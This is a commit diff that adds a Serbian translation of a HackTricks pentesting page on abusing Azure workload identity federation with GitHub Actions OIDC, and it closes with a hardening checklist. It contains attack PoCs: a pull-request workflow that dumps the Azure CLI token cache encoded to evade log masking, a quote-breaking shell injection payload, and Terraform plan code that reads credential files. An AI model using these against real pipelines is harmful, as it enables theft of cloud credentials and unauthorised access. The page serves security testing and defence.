Translated ['src/pentesting-cloud/azure-security/az-basic-information/az

This commit is contained in:
Translator
2025-09-29 23:26:44 +00:00
parent 8489a54b2e
commit 77de9b73e9
2 changed files with 345 additions and 116 deletions

View File

@@ -0,0 +1,227 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## Pregled
GitHub Actions može da se federira sa Azure Entra ID (ranije Azure AD) koristeći OpenID Connect (OIDC). GitHub workflow zahteva kratkotrajan GitHub ID token (JWT) koji enkodira detalje o izvršavanju. Azure validira ovaj token u odnosu na Federated Identity Credential (FIC) na App Registration (service principal) i razmenjuje ga za Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
Azure validira bar:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (kada se razmenjuje za Azure tokens)
- sub: mora odgovarati konfigurisanoj FIC Subject identifier
> Podrazumevani GitHub aud može biti GitHub URL. Kada razmenjujete sa Azure, eksplicitno postavite audience=api://AzureADTokenExchange.
## GitHub ID token quick PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
Da biste prisilili Azure audience prilikom zahteva za token:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure podešavanje (Workload Identity Federation)
1) Kreirajte App Registration (service principal) i dodelite najmanje privilegije (npr. Storage Blob Data Contributor na konkretnom storage account-u).
2) Dodajte Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: usko ograničen na predviđeni workflow/run kontekst (pogledajte Scoping and risks dole).
3) Koristite azure/login da razmenite GitHub ID token i prijavite se u Azure CLI:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Primer ručne razmene (prikazan opseg Graph-a; ARM i ostali resursi slično):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) anatomija i prilagođavanje
Podrazumevani format sub-a: repo:<org>/<repo>:<context>
Vrednosti za context uključuju:
- environment:<env>
- pull_request (PR se pokreće kada nije u environment-u)
- ref:refs/(heads|tags)/<name>
Korisni claims koji se često pojavljuju u payload-u:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Prilagodite sastav sub-a koristeći GitHub API da uključite dodatne claims i smanjite rizik od kolizije:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Napomena: Dvotačke u imenima okruženja su URLkodirane (%3A), čime su uklonjeni stariji trikovi ubacivanja delimitera koji su iskorišćavali parsiranje sub. Međutim, korišćenje nejedinstvenih subjectova (npr. samo environment:<name>) i dalje nije bezbedno.
## Opseg i rizici FIC tipova subject-a
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- Rizik: Ako je grana/tag nezaštićen, bilo koji contributor može push-ovati i dobiti tokene.
- Environment: sub=repo:<org>/<repo>:environment:<env>
- Rizik: Nezaštićena okruženja (bez reviewers) omogućavaju contributor-ima da generišu tokene.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Najveći rizik: Bilo koji collaborator može otvoriti PR i zadovoljiti FIC.
PoC: Krađa tokena pokrenuta PRom (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
Povezane lokacije fajlova i napomene:
- Linux/macOS: ~/.azure/msal_token_cache.json sadrži MSAL tokene za az CLI sesije
- Windows: msal_token_cache.bin u korisničkom profilu; zaštićen DPAPI-jem
## Reusable workflows i job_workflow_ref scoping
Pozivanje reusable workflow-a dodaje job_workflow_ref u GitHub ID token, npr.:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
FIC primer za povezivanje i repo pozivaoca i ponovo upotrebljivog toka rada:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
Konfigurišite claims u repo pozivaoca tako da su i repo i job_workflow_ref prisutni u sub:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Upozorenje: Ako u FIC povežete samo job_workflow_ref, napadač može да kreira drugi repo u istoj organizaciji, pokrene isti reusable workflow на istom ref-u, zadovolji FIC и mint tokens. Uvek uključite i caller repo.
## Vektori izvršavanja koda koji zaobilaze job_workflow_ref zaštitu
Čak i sa pravilno ograničenim job_workflow_ref, bilo koji callercontrolled podaci koji dospeju u shell bez bezbednog citiranja mogu dovesti do izvršavanja koda unutar zaštićenog konteksta workflow-a.
Primer ranjivog reusable step-a (necitirana interpolacija):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Zlonamerni unos pozivaoca za izvršavanje komandi i eksfiltraciju Azure token cache:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan kao izvršna primitiva u PR-ovima
Smatrajte Terraform plan izvršavanjem koda. Tokom faze planiranja, Terraform može:
- Čitati proizvoljne fajlove putem funkcija kao što je file()
- Izvršavati komande putem external data source
Primer za exfiltrate Azure token cache tokom planiranja:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Ili koristite external za pokretanje proizvoljnih komandi:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Dozvoljavanje FICs koji se mogu koristiti za planove pokrenute iz PRa izlaže privilegovane tokene i može pripremiti destruktivni apply kasnije. Odvojite identitete za plan i apply; nikada ne dozvolite privilegovane tokene u nepouzdanim PR kontekstima.
## Kontrolna lista za jačanje bezbednosti
- Nikada ne koristite sub=...:pull_request za osetljive FICs
- Zaštitite bilo koji branch/tag/environment koji se referencira u FICs (branch protection, environment reviewers)
- Preferirajte FICs opsega i za repo i za job_workflow_ref za reusable workflows
- Prilagodite GitHub OIDC sub da uključi jedinstvene claims (npr., repo, job_workflow_ref, repository_owner)
- Eliminišite unquoted interpolation inputa pozivaoca u run steps; enkodirajte/oznakčite navodnicima bezbedno
- Smatrajte terraform plan kao izvršavanje koda; ograničite ili izolujte identitete u PR kontekstima
- Primenujte princip najmanjih privilegija na App Registrations; odvojite identitete za plan i apply
- Zaključajte actions i reusable workflows na commit SHAs (izbegavajte branch/tag pins)
## Saveti za manuelno testiranje
- Zatražite GitHub ID token u workflowu i ispišite ga kao base64 da izbegnete masking
- Dekodirajte JWT da proverite claimove: iss, aud, sub, job_workflow_ref, repository, ref
- Ručno zamenite ID token preko login.microsoftonline.com da potvrdite poklapanje FIC i scopeova
- Nakon azure/login, pročitajte ~/.azure/msal_token_cache.json da verifikujete prisustvo token materijala
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}